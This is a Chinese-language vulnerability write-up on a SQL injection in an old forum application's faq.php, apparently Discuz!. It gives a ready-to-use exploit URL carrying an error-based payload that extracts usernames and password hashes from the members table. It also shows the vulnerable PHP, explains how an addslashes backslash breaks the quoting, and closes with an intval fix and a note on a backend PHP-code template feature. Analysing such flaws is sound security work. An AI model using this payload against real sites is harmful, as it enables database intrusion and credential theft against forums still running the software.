faq.phpaction=grouppermission 且 gids 為數組addslashes 全局轉義後,取數組首字符導致單引號轉義符被截取,經 implodeids 拼接進 SQL 造成注入。https://www.example.com/faq.php?action=grouppermission &gids[99]=%27 &gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x20,password) from cdb_members limit 0,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
URL 解碼後的 gids 結構:
gids[99] = ' gids[100][0] = ) and (select ... )#
faq.php 片段if ($action == 'grouppermission') {
// ...
ksort($gids); // $_GET['gids'] 經全局 addslashes 轉義
$groupids = [];
foreach ($gids as $row) {
$groupids[] = $row[0]; // 關鍵:取字符串第一個字符
}
$query = $db->query("SELECT * FROM {$tablepre}usergroups u
LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid
WHERE u.groupid IN (" . implodeids($groupids) . ")");
}
implodeids 函數function implodeids($array) {
if (!empty($array)) {
return "'" . implode("','", is_array($array) ? $array : array($array)) . "'";
}
return '';
}
$_GET 執行 addslashes,單引號 ' 變為 \'(反斜杠 + 單引號);$row[0] 取轉義後字符串的第一個字符——即反斜杠 \;gids[99] = ' → 轉義為 \' → 取首字符 \ 存入 $groupids[0];gids[100][0] = ) and ... # → 首字符 ) 存入 $groupids[1];implodeids 拼接:'\\',')' → 生成 SQL 片段 '\\',')';'\\ 中的反斜杠轉義了拼接的第二個單引號,導致第三個單引號(原本包裹第二個值的)與第一個值開頭的單引號閉合,) 及後續負載成功注入。SELECT ... WHERE u.groupid IN ('\\',') and (select ...) #')
實際執行:
SELECT ... WHERE u.groupid IN ('\' , ') and (select ...) #')
\' 被視為轉義後的單引號字面量,第二個 ' 被轉義失效,第三個 ' 與第一個閉合,) 閉合 IN (,隨後負載執行。
gids 應為純數字 ID 數組,入口處 intval 強制轉換;array_map('intval', $gids);官方早已停止維護,已知漏洞數十個(SQLi、XSS、文件上傳、代碼執行等),生產環境嚴禁使用。
後台 → 界面 → 模板管理 → 添加調用 → 輸入 PHP 代碼 → 生成調用標籤嵌入模板。但強烈不推薦,極易引入安全風險。